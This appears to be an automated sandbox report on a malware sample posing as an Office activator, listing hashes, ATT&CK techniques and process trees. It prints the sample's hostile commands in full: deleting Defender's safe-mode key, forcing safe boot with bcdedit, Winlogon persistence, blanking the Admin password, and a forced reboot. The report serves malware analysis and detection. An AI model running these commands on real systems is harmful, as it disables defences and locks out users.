8441f92e8460a7b2ed37ee96affe547a65589b2e8e980a18a6b08b786b48465d

Reason

Machine shutdown

General

Target

OfficeActivator.exe
Size

87KB
MD5

1b4e57be75e855e54e84f55874782d4b
SHA1

f5f17bae63faad537233bb38647940bda7340b2c
SHA256

8441f92e8460a7b2ed37ee96affe547a65589b2e8e980a18a6b08b786b48465d
SHA512

076245019b439583d4a45e46e6c836a2724270aba0a6e1b04e20c4157bdb32533045ee118c22a013e6f7127f1d34eb8b82738156dd152dae7c4ef9da1cf39da9
SSDEEP

1536:LcW4lAJGGnzjoih/NDh/NDuk+XkGAK/hztXcag+PlbBfkWIyvZrw281r5XsmCZEq:4WNGszjoih/NDh/NDuk+XkGAK/hztXcE

Score

10^/10

defense_evasion evasion persistence ransomware

Malware Config

Signatures

Contains code to disable Windows Defender 1 IoCs

A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

Processes:

resource	yara_rule
behavioral1/memory/2380-1-0x00000000002B0000-0x00000000002CA000-memory.dmp	disable_win_def

Modifies WinLogon for persistence 2 TTPs 1 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

Processes:

reg.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit = "C:\\Users\\Admin\\AppData\\Local\\Temp\\OfficeActivator.exe,C:\\Windows\\system32\\userinit.exe"	reg.exe

Modifies boot configuration data using bcdedit 1 TTPs 1 IoCs
ransomware evasion

Inhibit System Recovery
T1490

Processes:

bcdedit.exe

pid process

2536 bcdedit.exe
Impair Defenses: Safe Mode Boot 1 TTPs 1 IoCs
defense_evasion

Safe Mode Boot
T1562.009

Processes:

reg.exe

description ioc process

Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\WinDefend reg.exe
Modifies registry key 1 TTPs 1 IoCs

Modify Registry
T1112

Processes:

reg.exe

pid process

1920 reg.exe
Runs net.exe

pid	process
2536	bcdedit.exe

description	ioc	process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\WinDefend	reg.exe

pid	process
1920	reg.exe

Suspicious behavior: EnumeratesProcesses 35 IoCs

Processes:

OfficeActivator.exe

pid	process
2380	OfficeActivator.exe
2380	OfficeActivator.exe
2380	OfficeActivator.exe
2380	OfficeActivator.exe
2380	OfficeActivator.exe
2380	OfficeActivator.exe
2380	OfficeActivator.exe
2380	OfficeActivator.exe
2380	OfficeActivator.exe
2380	OfficeActivator.exe
2380	OfficeActivator.exe
2380	OfficeActivator.exe
2380	OfficeActivator.exe
2380	OfficeActivator.exe
2380	OfficeActivator.exe
2380	OfficeActivator.exe
2380	OfficeActivator.exe
2380	OfficeActivator.exe
2380	OfficeActivator.exe
2380	OfficeActivator.exe
2380	OfficeActivator.exe
2380	OfficeActivator.exe
2380	OfficeActivator.exe
2380	OfficeActivator.exe
2380	OfficeActivator.exe
2380	OfficeActivator.exe
2380	OfficeActivator.exe
2380	OfficeActivator.exe
2380	OfficeActivator.exe
2380	OfficeActivator.exe
2380	OfficeActivator.exe
2380	OfficeActivator.exe
2380	OfficeActivator.exe
2380	OfficeActivator.exe
2380	OfficeActivator.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

OfficeActivator.exeshutdown.exe

description	pid	process
Token: SeDebugPrivilege	2380	OfficeActivator.exe
Token: SeShutdownPrivilege	2136	shutdown.exe
Token: SeRemoteShutdownPrivilege	2136	shutdown.exe

Suspicious use of WriteProcessMemory 18 IoCs

Processes:

OfficeActivator.exenet.exe

description	pid	process	target process
PID 2380 wrote to memory of 1920	2380	OfficeActivator.exe	reg.exe
PID 2380 wrote to memory of 1920	2380	OfficeActivator.exe	reg.exe
PID 2380 wrote to memory of 1920	2380	OfficeActivator.exe	reg.exe
PID 2380 wrote to memory of 2536	2380	OfficeActivator.exe	bcdedit.exe
PID 2380 wrote to memory of 2536	2380	OfficeActivator.exe	bcdedit.exe
PID 2380 wrote to memory of 2536	2380	OfficeActivator.exe	bcdedit.exe
PID 2380 wrote to memory of 2544	2380	OfficeActivator.exe	reg.exe
PID 2380 wrote to memory of 2544	2380	OfficeActivator.exe	reg.exe
PID 2380 wrote to memory of 2544	2380	OfficeActivator.exe	reg.exe
PID 2380 wrote to memory of 2360	2380	OfficeActivator.exe	net.exe
PID 2380 wrote to memory of 2360	2380	OfficeActivator.exe	net.exe
PID 2380 wrote to memory of 2360	2380	OfficeActivator.exe	net.exe
PID 2380 wrote to memory of 2136	2380	OfficeActivator.exe	shutdown.exe
PID 2380 wrote to memory of 2136	2380	OfficeActivator.exe	shutdown.exe
PID 2380 wrote to memory of 2136	2380	OfficeActivator.exe	shutdown.exe
PID 2360 wrote to memory of 2320	2360	net.exe	net1.exe
PID 2360 wrote to memory of 2320	2360	net.exe	net1.exe
PID 2360 wrote to memory of 2320	2360	net.exe	net1.exe

C:\Users\Admin\AppData\Local\Temp\OfficeActivator.exe
"C:\Users\Admin\AppData\Local\Temp\OfficeActivator.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2380
- C:\Windows\system32\reg.exe
  "reg.exe" delete HKLM\System\CurrentControlSet\Control\SafeBoot\Minimal\WinDefend /f
  2⤵
  - Impair Defenses: Safe Mode Boot
  - Modifies registry key
  PID:1920
- C:\Windows\system32\bcdedit.exe
  "bcdedit.exe" /set {default} safeboot network
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:2536
- C:\Windows\system32\reg.exe
  "reg.exe" add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\OfficeActivator.exe","C:\Windows\system32\userinit.exe" /f
  2⤵
  - Modifies WinLogon for persistence
  PID:2544
- C:\Windows\system32\net.exe
  "net.exe" user Admin ""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2360
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user Admin ""
    3⤵
    PID:2320
- C:\Windows\system32\shutdown.exe
  "shutdown.exe" /r /t 0
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2136

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x0
1⤵
PID:2756

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x1
1⤵
PID:2260

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

1

T1547

Winlogon Helper DLL

1

T1547.004

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Winlogon Helper DLL

1

T1547.004

Defense Evasion

Impair Defenses

1

T1562

Safe Mode Boot

Modify Registry

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

1

T1490

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memory/2380-0-0x000007FEF5BA3000-0x000007FEF5BA4000-memory.dmp

Filesize
4KB

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memory/2380-1-0x00000000002B0000-0x00000000002CA000-memory.dmp

Filesize
104KB

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memory/2380-2-0x000007FEF5BA0000-0x000007FEF658C000-memory.dmp

Filesize
9.9MB

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memory/2380-3-0x000007FEF5BA0000-0x000007FEF658C000-memory.dmp

Filesize
9.9MB

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memory/2756-4-0x0000000002D90000-0x0000000002D91000-memory.dmp

Filesize
4KB

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Analysis

Sharing

Errors

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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